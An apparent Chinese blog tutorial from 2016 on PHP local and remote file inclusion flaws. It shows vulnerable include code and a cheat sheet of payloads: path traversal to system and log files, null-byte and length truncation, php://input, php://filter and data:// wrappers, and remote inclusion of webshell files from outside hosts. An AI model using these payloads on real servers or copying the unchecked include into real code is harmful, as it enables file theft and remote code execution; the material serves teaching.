文件包含

PHP文件包含漏洞

php的函数引入文件是,由于传入的文件没有经过合理的校验,从而操作了预想之外的文件,就可以导致意外的文件泄露,甚至导致恶意代码的注入。

 

基本的代码:

If($_GET[‘func’])

{

Include $_GET[‘func’]

}

Else

{

Include ‘default.php’

}

本意运行的是http://127.0.0.1/index.php?func=add.php,结果在后面默认运行了default.php

如果黑客运行自己上传的图片马,那么包含一句话木马,我们是不是就绕过过滤了。

http://127.0.0.1/index.php?func=upload/pic/evil.jpg

evil.jpg是黑客上传上去的图片吗,里面有恶意的php代码

 

LFI本地文件包含漏洞:

 

(1),普通的本地文件包含

<?php include(“inc/” . $GET[‘file’]); ?>

 

包含同目录下的文件:

?file=.htaccess

 

目录遍历

?file=../…/../var/lib/flag.txt

 

包含错误的日志

?file=../../../var/log/access.log

 

常见的一些路径

/var/log/apache/access_log

/var/www/logs/access_log

/var/log/asscess_log

 

获取web目录或者其他的配置文件

?file=../../../httpd.conf

 

包含上传的附件

?file=../../../xx.file

 

读取session文件

/file=../../../tmp/sess_tnrdo

 

 

 

 

 

2)有限制的本地包含

<?php include(“inc/” . $GET[‘file’] . “.htm”); ?>

 

%00截断:

?file=../../../etc/pwd%00

 

%00截断目录遍历

?../../../../www/%00

 

路径长度截断:

file=../../../etc/pwd/././.[…]/././.

 

点号截断:

?file=../../../boot.ini/….[…]………

 

RFI(远程文件包含漏洞)

三大条件:

All_url_fopen=On(默认开启)

Allow_url_include=On(默认关闭)

被包含的遍历前没有目录的限制

 

1)普通远程文件包含

<?php include($GET[‘file’]);?>

 

远程代码执行:

?file=http://www.baidu.com/index.php

 

利用phpinput;

?file=php://input

 

利用phpfilter

?file=php://filter/convert/resource=index.php

 

利用data URLs:

?file=data://text/plain;base64,URL(可以远程包含一句话木马链接)

 

利用xss执行任意代码

?file=http://127.0.0.1/path/xss.php?xss=phpcode

 

有限制的远程文件包含

<?php include($_GET[‘FILE’] . “.htm”); ?>

 

?file=http://www.baidu.com/shell

?file=http://www.baidu.com/shell.txt?

?file=http://www.baidu.com/shell.txt%23

?file=\evilshare\shell.php

 





posted @ 2016-05-10 07:39 lazy1 阅读(...) 评论(...) 编辑 收藏